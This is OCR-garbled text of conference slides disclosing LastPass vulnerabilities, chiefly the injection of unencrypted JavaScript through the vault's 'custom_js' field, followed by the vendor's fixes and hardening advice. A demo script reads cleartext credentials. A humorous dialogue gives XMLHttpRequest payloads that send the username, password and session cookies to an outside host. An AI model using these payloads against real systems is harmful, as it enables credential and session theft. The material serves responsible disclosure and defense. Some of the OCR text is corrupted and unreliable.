last_touch="1446703404" last modified="1446673196" sn="0" realm="" sharedfromaid="" pwprotect="0" launch_count="0"
username="AAIWOEhg9kd4duThk98FHuew==" groupid="2"><login urid="0" url="68747470733a2£2£7777772e66616365626£f6£f6b2e636£6d" submit id="" captcha id=""
custom_js="function

lastpass fixfacebook(){if(lpcurrpage.document.location.href.indexOf(&quot;/plugins&quot;)l=-1){return;}if(lpocurrpage.document.getElementById(&quot;e

mail&guot;)) {lpcurrpage.document.getElementById(&quot;email&équot; ). focus(); }if(lpeurrpage.document.getElementById(&gquot; pass placehclder&quot;)) {var
ph=lpcurrpage.document.getElementById({ &gquot; pass placeholder&quot;);if(ph.style.visibility!=&qguot;hidden&gquot; &amp;&amp;

ph.style.display!=&quot; none&quot;){try{ph.focus();}catch(err){l}lllastpass fixfacebook();setTimeout(&quot;lastpass fixfacebook();&quot;, 500);"
u="AAIWOEhg9k4uThk98FHuew==" p="Je9JFUczPaGKnr6PkNEUZw=="| o="" method=""></login></account><account name="kUwzfdmjAa9xTg7vUadxLg==" urid="0"
1d="5764360102" url="68747470733a2f2f7777772e747769747465722e636£6d" m="0" http="0" fav="0" favico="0" autolegin="0" basic auth="0" group=""
£iid="5764360102" genpw="0" extra="vucTFQMSVAJGEctM4yS]iFZjBusXobkeWItMpLtgliUQ=" isboockmark="0" never_autofill="0" last_touch="1446703448"

last modified="1446673196" sn="0" realm="" sharedfromaid="" pwprotect="0" launch count="0" username="WKGOwoclfNNbOgPsHkDmXA=="><login urid="0"
url="68747470733a2£2£7777772e747769747465722e636£64" submit id="" captcha id="" custom js="" u="WKGOwoclfNNbOgPsHkDmXA=="
p="nF2hNX1zQL1Xz4uE4UQqg7A==" o="" method=""></login®</account><account name="hKdhQb9HITIQNMpT2v748avvgFvVsgKk+wAuljLot6Eal=" urid="0" id="5764427612"

url="687474703a2f2f626262626262626262626262622e636£6d" m="0" http="0" fav="0" favico="0" autologin="0" basic auth="0"
group="fiPqfv454jDJtgqDWbZtD/yzcNgKbNVDETS /gQAzSpmI=" fiid="5764427612" genpw="0" extra="H83v1Egl8/AreswXVOCENiZdAfgqLOJTbzw+zsmbFEPxXU="
isboockmark="0" never autofill="0" last touch="1446098162" last modified="1446673196" sn="0" realm="" sharedfromaid="" pwprotect="0"
launch_count="0" username="trprqUmhYkk3EeOA4DUUHRPpUGNbAhSBMBXY+XYFDIrU=" groupid="3"><login urid="0"
url="687474703a2f2f626262626262626262626262622e636£6d" submit_id="" captcha_id="" custom Jjs="" u="trprqUmh¥kk3Ee0A4DUUHQpUGnbAhSBMBXY+XYFDIrU="
p="wfGg+0unaNe500Wgwi4iLgmjoZY¥d/Srd+qOhbFzpOKds=" o="" method=""></login></account><account name="wG68TgnKHMYP280Q00/UGUDINPGTMoSbIUXxHZVnKE4THL="
urid="0" id="5764428582" url="687474703a2f2f6363636363636363636363632e636f6d" m="0" http="0" fav="0" favico="0" autologin="0" basic_auth="0"
group="TO0Y6zg8PDbvc+XFb5/LmBmiAGgzbDuGGENEikEZrdW/Re=" fiid="5764428582" genpw="0" extra="DfvY¥x0p+O0gkLoZtMvvbIKd+D3ex7voscsMExgdiMYjhQ="

isbockmark="0" never_ autofill="0" last_touch="0" last modified="1446673196" sn="0" realm="" sharedfromaid="" pwprotect="0" launch_count="0"
username="REGXYGFB1WhUGlrPM41l1lndM¥/vcOvorJArE4T/5DebHe=" groupid="4"><login urid="0" url="687474703a2f2f6363636363636363636363632e636£6d4"
submit id="" captcha id="" custom js="" u="RSGXYGFB1IWhUGlrPHM41llndM/vcOvorJArE4T/5De5Hc=" p="F+yyiOI7avie2¥BN+1T6u2vSWKGQXhgWTM7YCV5HEUw=" o=""

method=""></login></account><account name="8XgL/gWfc/ClOFYo66Udsw==" urid="0" id="5790108372" url="687474703a2f2f736e" m="0" http="0" fav="0"
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e [astPass can’t always find where to inject the
credentials in a login page

e |[astPass adds JS payloads to your encrypted
vault accounts to deal with this issue

e custom Js contains those payloads
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LastPass or any attacker compromising their
servers can add cleartext Javascript to the
encrypted accounts in your vault which will run
In the domain’s context
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e JS payloads are not encrypted
e The plugin does no validation
e Victim does not notice anything strange

e The JS payload executes on every page load, not just the
login page

e New accounts can be added to the encrypted vault as well

e LastPass conveniently declares 2 variables in the domain

context
o lpcurruser: The cleartext username
o lpcurrpass: The cleartext password
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Google

Sign in to add another account

The page at https://accounts.google.com says:

' Username:dtrump@gmail.com
Password:HCBdjtn4675893SNCD

Prevent this page from creating additional dialogs.

—i—

Need help?
Create account
&= 0 Elements | Network Sources Timeline Profiles Resources Audits Console EditThisCookie

input type="text" id="lpcurruserelt” value aria-hidden="true" style="display: none;
input type="password" id="lpcurrpasselt" value aria-hidden="true" style="display: none;

v <script
try{(function() {if (typeof(lpcurruser) == 'undefined') lpcurruser = ''; if (document.getElementById('lpcurruserelt') && document.getElementById('lpcurruserelt').value != '') { lpcurruser = docume
nt.getElementById('lpcurruserelt').value; document.getElementById('lpcurruserelt').value = ''; } if (typeof(lpcurrpass) == 'undefined') lpcurrpass='"'; if (document.getElementById('lpcurrpasselt')
&& document.getElementById('lpcurrpasselt').value != '') { lpcurrpass = document.getElementById('lpcurrpasselt').value; document.getElementById('lpcurrpasselt’).value = ''; } var lploc=3;var lponl
yfill=1;alert('Username: '+lpcurruser+' Password:'+lpcurrpass);lpcurruser = ''; lpcurrpass = '';})();}catch(e){}
/script

</body
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LastPass

Yo! | need access to Trump’s email

Sorry, | can’t decrypt any vault
| know you can see if he has a gmail account!

Yes, but | can’t decrypt any passwords
Let’'s misuse custom_js. Append this payload:

var req=new XMLHttpRequest();req.open("GET","https://www.nsa.gov/collectcreds ?u="+Ipcurruser+"&p="+lpcurrpass,
false);req.send(null);request.onreadystatechange=null;

| am not comfortable doing that...

Like you have a choice... | am NSA!

We checked and he did not store his gmail creds
Just inject a new account to the vault and include this other payload!

var req=new XMLHttpRequest();req.open("GET","https://www.nsa.gov/collectsessionids ?cookies="+document.cookie,
false);req.send(null);request.onreadystatechange=null;

mmm.... shit!
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Do we have permission to take the hats off now?
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user_pref("extensions. lastpass.426561e3e ?cddfcb5.StoreLostPWOTP",

user_pref("extensions.
user_pref("extensions.
user_pref("extensions.
user_pref("extensions.
user_pref("extensions.

lastpass.426561e3ef
lastpass.426561e3r
lastpass.426561r

1astpass.425561e3e@l

“ddfcb5. changedpopupfill",

dfcb5. lastpollcheck",
‘fch5. noexport”, 8);

“S.notificationsAfterClick"

L

lastpass. 426561

.offerGeneratePasswd",

user_pref("extensions. lastpass. 426561 opengroups”, "(none)&Business")
user_pref("extensions. lastpass. 426561 showFillNotifications", :
user_pref("extensions. lastpass. 426561 showFormFillNotifications", fal
user_pref("extensions. lastpass.cdedbdfi /.RepromptTime", 8);
user_pref("extensions. lastpass.cdedbdfa 4f7.5toreLostPWOTP", true);
user_pref("extensions. lastpass.cdedbdfe :05f7. changedpopupfill”,
user_pref("extensions. lastpass. cdedbaf@ :ab5f7. lastpollcheck",
user_pref("extensions. lastpass. cdedbd @ f2ab5f7.noexport", @);
user_pref("extensions. lastpass. cdedbdf@ 4cf2ab5f7.notificationsAfterClick"”,
user_pref("extensions. lastpass. cdedbdf@ «158cf2ab5f7.offerGeneratePasswd",
user_pref("extensions. lastpass.cdedbdf@ 112dd5@0cf2ab5f7. showFilNotifications",
user_pref("extensions. lastpass.cdedbdfe@ -2199112dd50cf2ab5f7. showFormFillWNotifications",
user_pref("extensions. lastpass.defaultf

user_pref("extensions.lastpass.defaultff.

user_pref("extensions. lastpass.disableffpwas

user_pref("extensions. lastpass.ffhasloggedin", true);

user_pref("extensions. lastpass. ffhaslquedlnsuccessfull¥ s true);

user_pref("extensions. lastpass.generateHkKeyCode", @

user_pref("extensions. lastpass.generateHkMods", "");

user_pref("extensions. lastpass. homeHkKeyCode", 2);

user_pref("extensions. lastpass. homeHkMods", "");

user_pref("extensions.lastpass. loginpws", "bH

user_pref("extensions.lastpass. loginusers", "m

Remember Firefox’'s pref.js?
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Sharing your encrypted LastPass credentials with the info
you need to decrypt them is probably not a good idea...
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We found a number of bugs, bad practices and design issues
and used them to obtain the vault key and decrypt all passwords
in different scenarios.

There is no bug-free software and any future research on other
password managers would likely have similar results.

LastPass has responded and fixed most of the issues in less
than 72 hours.
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Warning when attempting to store the password
Recover URL can’t be forged anymore

Recover process needs to be initiated now
They rolled out account recovery over SMS
Firefox does no longer store creds in prefs.js

All users affected by google dorks were alerted
and most links removed from search engines
More alerts regarding sensitive actions
Several minor bugs were fixed
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Download the binary version of the plugin

Do not store your master password

Activate SMS “Account recovery”

Audit your vault for malicious JS

Do not use “Password reminder”

Activate 2FA

Prompt for master password to reveal passwords
Add country restriction

Update/Randomize PBKDF2 iterations

Disallow TOR logins
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Encrypt the entire vault and in one chunk

Don’t use ECB

Use authenticated encryption

Get rid of “custom_js”

Use PBKDF2 between client and LastPass also
Use cert pinning

Embrace open source

Adopt a retroactive cash rewarded
bounty program

If you know'what I mean
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Alberto Garcia Martin Vigo

@martin_vigo

@algillera art
martinvigo.com

Don’t forget to provide feedback please!



